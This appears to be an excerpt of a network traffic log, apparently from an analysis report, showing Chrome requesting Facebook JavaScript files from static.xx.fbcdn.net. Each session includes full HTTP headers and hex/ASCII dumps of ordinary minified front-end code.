104	192.168.2.4	49919	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:30 UTC	610	OUT	GET /rsrc.php/v3icvi4/y1/l/en_US/M-7o245DNR1.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:31 UTC	1702	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: Hs4m+iSGedJmwpyIKjFM4A== Expires: Fri, 11 Apr 2025 20:12:01 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} origin-agent-cluster: ?0 X-FB-Debug: s4D38hf8oIIjZlJlFuclGWoatneaXtr6Jsd58SIIeqUmBCcoDIRgqy0Bb/J41PusTaj4Da03SoTbbyGIKa8TNA== Date: Thu, 11 Apr 2024 20:35:30 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin X-FB-Connection-Quality: GOOD; q=0.7, rtt=82, rtx=0, c=14, mss=1277, tbw=3411, tp=-1, tpl=-1, uplat=1, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 54311
2024-04-11 20:35:31 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-04-11 20:35:31 UTC	16102	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 75 73 65 43 6f 6d 65 74 46 6f 63 75 73 65 64 47 6c 6f 62 65 46 69 6c 6c 65 64 31 32 5f 76 69 65 77 65 72 2e 67 72 61 70 68 71 6c 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 61 3d 7b 61 72 67 75 6d 65 6e 74 44 65 66 69 6e 69 74 69 6f 6e 73 3a 5b 5d 2c 6b 69 6e 64 3a 22 46 72 61 67 6d 65 6e 74 22 2c 6d 65 74 61 64 61 74 61 3a 6e 75 6c 6c 2c 6e 61 6d 65 3a 22 75 73 65 43 6f 6d 65 74 46 6f 63 75 73 65 64 47 6c 6f 62 65 46 69 6c 6c 65 64 31 32 5f 76 69 65 77 65 72 22 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 7b 61 6c 69 61 73 3a 6e 75 6c 6c 2c 61 72 67 73 3a 6e 75 6c 6c 2c 6b 69 6e 64 3a 22 53 63 61 6c 61 72 46 69 65 Data Ascii: /FB_PKG_DELIM/__d("useCometFocusedGlobeFilled12_viewer.graphql",[],(function(a,b,c,d,e,f){"use strict";a={argumentDefinitions:[],kind:"Fragment",metadata:null,name:"useCometFocusedGlobeFilled12_viewer",selections:[{alias:null,args:null,kind:"ScalarFie
2024-04-11 20:35:31 UTC	16384	IN	Data Raw: 75 72 61 6c 3a 21 31 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 7b 61 6c 69 61 73 3a 6e 75 6c 6c 2c 61 72 67 73 3a 6e 75 6c 6c 2c 63 6f 6e 63 72 65 74 65 54 79 70 65 3a 22 49 6d 61 67 65 22 2c 6b 69 6e 64 3a 22 4c 69 6e 6b 65 64 46 69 65 6c 64 22 2c 6e 61 6d 65 3a 22 69 6d 61 67 65 22 2c 70 6c 75 72 61 6c 3a 21 31 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 7b 61 6c 69 61 73 3a 6e 75 6c 6c 2c 61 72 67 73 3a 6e 75 6c 6c 2c 6b 69 6e 64 3a 22 53 63 61 6c 61 72 46 69 65 6c 64 22 2c 6e 61 6d 65 3a 22 75 72 69 22 2c 73 74 6f 72 61 67 65 4b 65 79 3a 6e 75 6c 6c 7d 5d 2c 73 74 6f 72 61 67 65 4b 65 79 3a 6e 75 6c 6c 7d 2c 75 5d 2c 73 74 6f 72 61 67 65 4b 65 79 3a 6e 75 6c 6c 7d 5d 2c 73 74 6f 72 61 67 65 4b 65 79 3a 6e 75 6c 6c 7d 2c 7b 61 6c 69 61 73 3a 6e 75 6c 6c 2c 61 Data Ascii: ural:!1,selections:[{alias:null,args:null,concreteType:"Image",kind:"LinkedField",name:"image",plural:!1,selections:[{alias:null,args:null,kind:"ScalarField",name:"uri",storageKey:null}],storageKey:null},u],storageKey:null}],storageKey:null},{alias:null,a
2024-04-11 20:35:31 UTC	16384	IN	Data Raw: 67 6d 65 6e 74 53 70 72 65 61 64 22 2c 6e 61 6d 65 3a 22 50 72 6f 66 69 6c 65 43 6f 6d 65 74 41 64 34 41 64 53 65 63 74 69 6f 6e 5f 75 73 65 72 22 7d 5d 2c 74 79 70 65 3a 22 55 73 65 72 22 2c 61 62 73 74 72 61 63 74 4b 65 79 3a 6e 75 6c 6c 7d 3b 65 2e 65 78 70 6f 72 74 73 3d 61 7d 29 2c 6e 75 6c 6c 29 3b 0a 5f 5f 64 28 22 50 72 6f 66 69 6c 65 43 6f 6d 65 74 54 69 6d 65 6c 69 6e 65 46 65 65 64 5f 75 73 65 72 2e 67 72 61 70 68 71 6c 22 2c 5b 22 50 72 6f 66 69 6c 65 43 6f 6d 65 74 54 69 6d 65 6c 69 6e 65 46 65 65 64 52 65 66 65 74 63 68 51 75 65 72 79 2e 67 72 61 70 68 71 6c 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 5b 22 74 69 Data Ascii: gmentSpread",name:"ProfileCometAd4AdSection_user"}],type:"User",abstractKey:null};e.exports=a}),null);__d("ProfileCometTimelineFeed_user.graphql",["ProfileCometTimelineFeedRefetchQuery.graphql"],(function(a,b,c,d,e,f){"use strict";a=function(){var a=["ti
2024-04-11 20:35:31 UTC	5440	IN	Data Raw: 20 54 72 69 65 64 20 74 6f 20 64 69 73 70 61 74 63 68 20 61 6e 20 61 63 74 69 6f 6e 5c 6e 20 20 20 20 20 20 20 20 77 69 74 68 6f 75 74 20 70 72 6f 76 69 64 69 6e 67 20 61 20 64 69 73 70 61 74 63 68 20 66 75 6e 63 74 69 6f 6e 2e 20 50 6c 65 61 73 65 20 72 65 6e 64 65 72 20 74 68 69 73 20 63 6f 6d 70 6f 6e 65 6e 74 20 77 69 74 68 5c 6e 20 20 20 20 20 20 20 20 61 20 63 6f 6e 74 65 78 74 20 70 72 6f 76 69 64 65 72 2c 20 65 2e 67 2e 3a 5c 6e 20 20 20 20 20 20 20 20 3c 50 72 6f 66 69 6c 65 43 6f 6d 65 74 54 69 6d 65 6c 69 6e 65 46 69 6c 74 65 72 43 6f 6e 74 65 78 74 2e 50 72 6f 76 69 64 65 72 20 76 61 6c 75 65 3d 7b 63 6f 6e 74 65 78 74 7d 20 2f 3e 22 29 7d 2c 73 74 61 74 65 3a 64 28 22 50 72 6f 66 69 6c 65 43 6f 6d 65 74 54 69 6d 65 6c 69 6e 65 46 69 6c 74 65 Data Ascii: Tried to dispatch an action\n without providing a dispatch function. Please render this component with\n a context provider, e.g.:\n <ProfileCometTimelineFilterContext.Provider value={context} />")},state:d("ProfileCometTimelineFilte

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	49922	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:30 UTC	599	OUT	GET /rsrc.php/v3/y-/r/NnVv4r542g6.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:31 UTC	1676	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: P5Mj8+HMJmMR6/j3CtxSGQ== Expires: Sun, 06 Apr 2025 15:32:48 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} X-FB-Debug: zABkyMBQqBSElU24CoBiJMAy0MLPTIgnQHIGi5tNCCIc5blhwy3XM6M8kUyVSCIjZLx3aL69jmB0jh3+AcFPZQ== Date: Thu, 11 Apr 2024 20:35:31 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin X-FB-Connection-Quality: GOOD; q=0.7, rtt=83, rtx=0, c=14, mss=1277, tbw=3411, tp=-1, tpl=-1, uplat=2, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 46976
2024-04-11 20:35:31 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-04-11 20:35:31 UTC	16140	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 43 6f 6d 65 74 4e 65 77 73 46 65 65 64 56 50 56 44 53 74 6f 72 65 5f 6e 65 77 73 46 65 65 64 45 64 67 65 2e 67 72 61 70 68 71 6c 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 61 3d 7b 6b 69 6e 64 3a 22 49 6e 6c 69 6e 65 44 61 74 61 46 72 61 67 6d 65 6e 74 22 2c 6e 61 6d 65 3a 22 43 6f 6d 65 74 4e 65 77 73 46 65 65 64 56 50 56 44 53 74 6f 72 65 5f 6e 65 77 73 46 65 65 64 45 64 67 65 22 7d 3b 65 2e 65 78 70 6f 72 74 73 3d 61 7d 29 2c 6e 75 6c 6c 29 3b 0a 5f 5f 64 28 22 72 65 67 69 73 74 65 72 53 6f 75 72 63 65 46 6f 72 56 69 65 77 22 2c 5b 22 44 54 53 47 22 2c 22 44 54 53 47 55 74 69 6c 73 22 2c 22 53 70 72 69 6e Data Ascii: /FB_PKG_DELIM/__d("CometNewsFeedVPVDStore_newsFeedEdge.graphql",[],(function(a,b,c,d,e,f){"use strict";a={kind:"InlineDataFragment",name:"CometNewsFeedVPVDStore_newsFeedEdge"};e.exports=a}),null);__d("registerSourceForView",["DTSG","DTSGUtils","Sprin
2024-04-11 20:35:31 UTC	16384	IN	Data Raw: 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 68 3b 61 3d 68 7c 7c 64 28 22 72 65 61 63 74 22 29 3b 62 3d 61 2e 63 72 65 61 74 65 43 6f 6e 74 65 78 74 28 6e 75 6c 6c 29 3b 67 5b 22 64 65 66 61 75 6c 74 22 5d 3d 62 7d 29 2c 39 38 29 3b 0a 5f 5f 64 28 22 43 6f 6d 65 74 46 65 65 64 42 72 61 6e 64 53 61 66 65 74 79 4c 6f 67 67 69 6e 67 55 74 69 6c 22 2c 5b 22 43 6f 6d 65 74 46 65 65 64 55 6e 69 74 53 74 61 74 75 73 54 72 61 63 6b 69 6e 67 55 74 69 6c 73 22 2c 22 46 42 4c 6f 67 67 65 72 22 2c 22 4e 65 74 77 6f 72 6b 53 74 61 74 75 73 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 61 28 61 2c 62 Data Ascii: tion(a,b,c,d,e,f,g){"use strict";var h;a=h\|\|d("react");b=a.createContext(null);g["default"]=b}),98);__d("CometFeedBrandSafetyLoggingUtil",["CometFeedUnitStatusTrackingUtils","FBLogger","NetworkStatus"],(function(a,b,c,d,e,f,g){"use strict";function a(a,b
2024-04-11 20:35:31 UTC	14451	IN	Data Raw: 6e 65 6c 32 56 69 65 77 61 62 69 6c 69 74 79 46 61 6c 63 6f 45 76 65 6e 74 22 2c 5b 22 46 61 6c 63 6f 4c 6f 67 67 65 72 49 6e 74 65 72 6e 61 6c 22 2c 22 67 65 74 46 61 6c 63 6f 4c 6f 67 50 6f 6c 69 63 79 5f 44 4f 5f 4e 4f 54 5f 55 53 45 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 61 3d 63 28 22 67 65 74 46 61 6c 63 6f 4c 6f 67 50 6f 6c 69 63 79 5f 44 4f 5f 4e 4f 54 5f 55 53 45 22 29 28 22 31 39 36 30 38 36 38 22 29 3b 62 3d 64 28 22 46 61 6c 63 6f 4c 6f 67 67 65 72 49 6e 74 65 72 6e 61 6c 22 29 2e 63 72 65 61 74 65 28 22 63 6f 6d 65 74 5f 6d 65 74 72 69 63 73 5f 63 68 61 6e 6e 65 6c 32 5f 76 69 65 77 61 62 69 6c 69 74 79 22 2c 61 29 3b 65 3d 62 3b 67 5b 22 64 65 66 61 75 6c 74 Data Ascii: nel2ViewabilityFalcoEvent",["FalcoLoggerInternal","getFalcoLogPolicy_DO_NOT_USE"],(function(a,b,c,d,e,f,g){"use strict";a=c("getFalcoLogPolicy_DO_NOT_USE")("1960868");b=d("FalcoLoggerInternal").create("comet_metrics_channel2_viewability",a);e=b;g["default

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	49921	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:30 UTC	621	OUT	GET /rsrc.php/v3/y4/r/Bh-w8QWYIjncPzsbL7709ENldItxtlDpV.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:31 UTC	1702	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: 0YiF6ZZ3AKz+Y1Kws6L9OQ== Expires: Fri, 11 Apr 2025 01:16:55 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} origin-agent-cluster: ?0 X-FB-Debug: OQsBVoD4EVIPOMp3NzhvaxDL0zKHL1TeIjfrMXzQQu9BDp+V/+AlznoTBwbWq9LAK6qyQ9wxwsK37Gjlc4F3Gw== Date: Thu, 11 Apr 2024 20:35:31 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin X-FB-Connection-Quality: GOOD; q=0.7, rtt=83, rtx=0, c=14, mss=1277, tbw=3412, tp=-1, tpl=-1, uplat=1, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 82899
2024-04-11 20:35:31 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-04-11 20:35:31 UTC	16091	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 50 72 6f 66 69 6c 65 43 6f 6d 65 74 41 62 6f 75 74 49 6e 66 6f 44 65 74 61 69 6c 73 5f 73 75 62 74 69 74 6c 65 2e 67 72 61 70 68 71 6c 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 61 3d 7b 61 72 67 75 6d 65 6e 74 44 65 66 69 6e 69 74 69 6f 6e 73 3a 5b 5d 2c 6b 69 6e 64 3a 22 46 72 61 67 6d 65 6e 74 22 2c 6d 65 74 61 64 61 74 61 3a 6e 75 6c 6c 2c 6e 61 6d 65 3a 22 50 72 6f 66 69 6c 65 43 6f 6d 65 74 41 62 6f 75 74 49 6e 66 6f 44 65 74 61 69 6c 73 5f 73 75 62 74 69 74 6c 65 22 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 7b 61 72 67 73 3a 6e 75 6c 6c 2c 6b 69 6e 64 3a 22 46 72 61 67 6d 65 6e 74 53 70 72 65 61 64 22 2c Data Ascii: /FB_PKG_DELIM/__d("ProfileCometAboutInfoDetails_subtitle.graphql",[],(function(a,b,c,d,e,f){"use strict";a={argumentDefinitions:[],kind:"Fragment",metadata:null,name:"ProfileCometAboutInfoDetails_subtitle",selections:[{args:null,kind:"FragmentSpread",
2024-04-11 20:35:31 UTC	16384	IN	Data Raw: 74 4e 61 6d 65 3a 22 50 72 6f 66 69 6c 65 43 6f 6d 65 74 54 69 6c 65 43 6f 6e 74 65 78 74 4c 69 73 74 56 69 65 77 49 74 65 6d 5f 70 72 6f 66 69 6c 65 54 69 6c 65 49 74 65 6d 22 2c 66 72 61 67 6d 65 6e 74 4e 61 6d 65 3a 22 50 72 6f 66 69 6c 65 43 6f 6d 65 74 57 69 66 69 43 6f 6e 74 65 78 74 49 74 65 6d 5f 72 65 6e 64 65 72 65 72 22 2c 66 72 61 67 6d 65 6e 74 50 72 6f 70 4e 61 6d 65 3a 22 72 65 6e 64 65 72 65 72 22 2c 6b 69 6e 64 3a 22 4d 6f 64 75 6c 65 49 6d 70 6f 72 74 22 7d 5d 2c 74 79 70 65 3a 22 57 69 66 69 43 6f 6e 74 65 78 74 49 74 65 6d 52 65 6e 64 65 72 65 72 22 2c 61 62 73 74 72 61 63 74 4b 65 79 3a 6e 75 6c 6c 7d 2c 7b 6b 69 6e 64 3a 22 49 6e 6c 69 6e 65 46 72 61 67 6d 65 6e 74 22 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 7b 61 72 67 73 3a 6e 75 6c Data Ascii: tName:"ProfileCometTileContextListViewItem_profileTileItem",fragmentName:"ProfileCometWifiContextItem_renderer",fragmentPropName:"renderer",kind:"ModuleImport"}],type:"WifiContextItemRenderer",abstractKey:null},{kind:"InlineFragment",selections:[{args:nul
2024-04-11 20:35:31 UTC	16384	IN	Data Raw: 2c 22 50 72 6f 66 69 6c 65 43 6f 6d 65 74 41 62 6f 75 74 49 6e 66 6f 44 65 74 61 69 6c 73 5f 74 69 74 6c 65 2e 67 72 61 70 68 71 6c 22 2c 22 50 72 6f 66 69 6c 65 43 6f 6d 65 74 54 65 78 74 57 69 74 68 45 6e 74 69 74 69 65 73 2e 72 65 61 63 74 22 2c 22 54 65 74 72 61 54 65 78 74 50 61 69 72 69 6e 67 2e 72 65 61 63 74 22 2c 22 72 65 61 63 74 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 68 2c 69 2c 6a 2c 6b 3d 6a 7c 7c 64 28 22 72 65 61 63 74 22 29 3b 66 75 6e 63 74 69 6f 6e 20 61 28 61 29 7b 76 61 72 20 65 3d 61 2e 63 6f 6c 6f 72 2c 66 3d 61 2e 73 75 62 74 69 74 6c 65 2c 67 3d 61 2e 73 75 62 74 69 74 6c 65 43 6f 6c 6f 72 2c 6a 3d 61 2e 73 75 62 74 69 74 6c 65 54 72 75 Data Ascii: ,"ProfileCometAboutInfoDetails_title.graphql","ProfileCometTextWithEntities.react","TetraTextPairing.react","react"],(function(a,b,c,d,e,f,g){"use strict";var h,i,j,k=j\|\|d("react");function a(a){var e=a.color,f=a.subtitle,g=a.subtitleColor,j=a.subtitleTru
2024-04-11 20:35:31 UTC	16384	IN	Data Raw: 61 74 69 6f 6e 4b 69 6e 64 3a 22 71 75 65 72 79 22 2c 74 65 78 74 3a 6e 75 6c 6c 7d 7d 3b 65 2e 65 78 70 6f 72 74 73 3d 61 7d 29 2c 6e 75 6c 6c 29 3b 0a 5f 5f 64 28 22 43 6f 6d 65 74 50 72 6f 64 75 63 74 54 61 67 46 75 6e 6e 65 6c 49 44 43 6f 6e 74 65 78 74 22 2c 5b 22 72 65 61 63 74 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 68 3b 61 3d 68 7c 7c 64 28 22 72 65 61 63 74 22 29 3b 62 3d 61 2e 63 72 65 61 74 65 43 6f 6e 74 65 78 74 28 6e 75 6c 6c 29 3b 67 5b 22 64 65 66 61 75 6c 74 22 5d 3d 62 7d 29 2c 39 38 29 3b 0a 5f 5f 64 28 22 43 6f 6d 65 74 50 72 6f 64 75 63 74 54 61 67 52 65 66 65 72 72 61 6c 43 6f 64 65 43 6f 6e 74 65 78 74 22 2c 5b 22 72 65 61 63 74 22 5d 2c Data Ascii: ationKind:"query",text:null}};e.exports=a}),null);__d("CometProductTagFunnelIDContext",["react"],(function(a,b,c,d,e,f,g){"use strict";var h;a=h\|\|d("react");b=a.createContext(null);g["default"]=b}),98);__d("CometProductTagReferralCodeContext",["react"],
2024-04-11 20:35:31 UTC	1500	IN	Data Raw: 67 65 64 4f 75 74 56 69 64 65 6f 55 6e 69 74 53 45 4f 43 6f 6e 74 65 78 74 3d 6c 3b 67 2e 43 6f 6d 65 74 4c 6f 67 67 65 64 4f 75 74 56 69 64 65 6f 55 6e 69 74 53 45 4f 43 6f 6e 74 65 78 74 50 72 6f 76 69 64 65 72 3d 61 7d 29 2c 39 38 29 3b 0a 5f 5f 64 28 22 43 6f 6d 65 74 55 46 49 53 68 61 72 65 54 6f 50 61 67 65 4f 70 74 69 6f 6e 61 6c 53 77 69 74 63 68 69 6e 67 53 68 61 72 65 61 62 6c 65 43 6f 6e 74 65 78 74 22 2c 5b 22 72 65 61 63 74 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 68 3b 61 3d 68 7c 7c 64 28 22 72 65 61 63 74 22 29 3b 62 3d 61 2e 63 72 65 61 74 65 43 6f 6e 74 65 78 74 28 7b 65 76 65 6e 74 49 44 3a 6e 75 6c 6c 2c 67 72 6f 75 70 49 64 4f 72 56 61 6e 69 Data Ascii: gedOutVideoUnitSEOContext=l;g.CometLoggedOutVideoUnitSEOContextProvider=a}),98);__d("CometUFIShareToPageOptionalSwitchingShareableContext",["react"],(function(a,b,c,d,e,f,g){"use strict";var h;a=h\|\|d("react");b=a.createContext({eventID:null,groupIdOrVani
2024-04-11 20:35:31 UTC	14884	IN	Data Raw: 6f 6e 20 62 28 61 29 7b 76 61 72 20 62 3d 61 2e 64 61 74 61 2c 65 3d 28 69 7c 7c 28 69 3d 64 28 22 56 69 64 65 6f 50 6c 61 79 65 72 48 6f 6f 6b 73 22 29 29 29 2e 75 73 65 43 6f 6e 74 72 6f 6c 6c 65 72 28 29 2c 66 3d 63 28 22 75 73 65 56 69 64 65 6f 50 6c 61 79 65 72 50 6f 72 74 61 6c 69 6e 67 50 61 73 73 74 68 72 6f 75 67 68 50 72 6f 70 73 22 29 28 29 3b 61 3d 6d 28 63 28 22 43 6f 6d 65 74 55 46 49 56 69 64 65 6f 50 6c 61 79 65 72 43 6f 6e 74 65 78 74 22 29 29 3b 61 5b 30 5d 3b 76 61 72 20 67 3d 61 5b 31 5d 3b 6e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 67 28 7b 63 6f 6e 74 72 6f 6c 6c 65 72 3a 65 2c 64 61 74 61 3a 62 61 62 65 6c 48 65 6c 70 65 72 73 5b 22 65 78 74 65 6e 64 73 22 5d 28 7b 7d 2c 62 2c 66 29 7d 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e Data Ascii: on b(a){var b=a.data,e=(i\|\|(i=d("VideoPlayerHooks"))).useController(),f=c("useVideoPlayerPortalingPassthroughProps")();a=m(c("CometUFIVideoPlayerContext"));a[0];var g=a[1];n(function(){g({controller:e,data:babelHelpers["extends"]({},b,f)});return function
2024-04-11 20:35:31 UTC	1271	IN	Data Raw: 6f 75 73 6c 79 53 75 70 70 72 65 73 73 49 6e 74 65 72 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 73 43 6f 6e 74 65 78 74 22 29 2e 50 72 6f 76 69 64 65 72 2c 7b 76 61 6c 75 65 3a 21 30 2c 63 68 69 6c 64 72 65 6e 3a 65 28 71 29 7d 29 7d 29 29 7d 29 7d 7d 29 3a 69 2e 6a 73 78 28 63 28 22 43 6f 6d 65 74 48 6f 76 65 72 63 61 72 64 54 72 69 67 67 65 72 2e 72 65 61 63 74 22 29 2c 7b 61 6c 69 67 6e 3a 64 2c 64 69 73 70 6c 61 79 3a 66 2c 70 6f 70 6f 76 65 72 45 6e 74 72 79 50 6f 69 6e 74 3a 63 28 22 43 6f 6d 65 74 48 6f 76 65 72 63 61 72 64 51 75 65 72 79 52 65 6e 64 65 72 65 72 2e 65 6e 74 72 79 70 6f 69 6e 74 22 29 2c 70 6f 70 6f 76 65 72 50 72 6f 70 73 3a 7b 61 63 74 69 6f 6e 42 61 72 52 65 6e 64 65 72 4c 6f 63 61 74 69 6f 6e 3a 70 2c 63 6f 6e 74 65 78 74 3a 6d 2c Data Ascii: ouslySuppressInteractiveElementsContext").Provider,{value:!0,children:e(q)})}))})}}):i.jsx(c("CometHovercardTrigger.react"),{align:d,display:f,popoverEntryPoint:c("CometHovercardQueryRenderer.entrypoint"),popoverProps:{actionBarRenderLocation:p,context:m,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
